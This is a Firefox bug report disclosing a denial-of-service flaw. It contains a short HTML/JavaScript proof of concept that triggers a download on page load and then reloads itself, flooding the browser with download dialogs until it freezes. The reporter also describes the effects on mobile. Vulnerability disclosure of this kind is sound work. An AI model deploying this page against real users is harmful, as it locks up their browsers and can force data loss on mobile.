Download dialog can be used to make browser unusable
Categories
(Firefox :: File Handling, defect)
Tracking
()
People
(Reporter: StanleyKMugo, Unassigned)
Details
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Steps to reproduce:
I ran the following:
<html>
<head>
<title>Open Many Download Dialogs in Firefox</title>
<script>
window.addEventListener("DOMContentLoaded", function() {
var elm = document.createElement("a");
elm.download = "text.txt";
elm.href = 'data:application/octet-stream,';
elm.click();
window.open(window.location.href, "_self", "", true);
});
</script>
</head>
</html>
Actual results:
Multiple download dialogs popup and freeze Firefox. Closing the browser become the only way to stop the popups.
Firefox also becomes unusable on mobile due to the download popup taking focus from the rest of the app. The app data has to be cleared to fix it on mobile.
Expected results:
Only one download dialog should popup. A message should be shown asking if other downloads should be allowed.
Comment 1•3 years ago
|
||
The Bugbug bot thinks this bug should belong to the 'Firefox::Downloads Panel' component, and is moving the bug to that component. Please revert this change in case you think the bot is wrong.
Updated•3 years ago
|
Description
•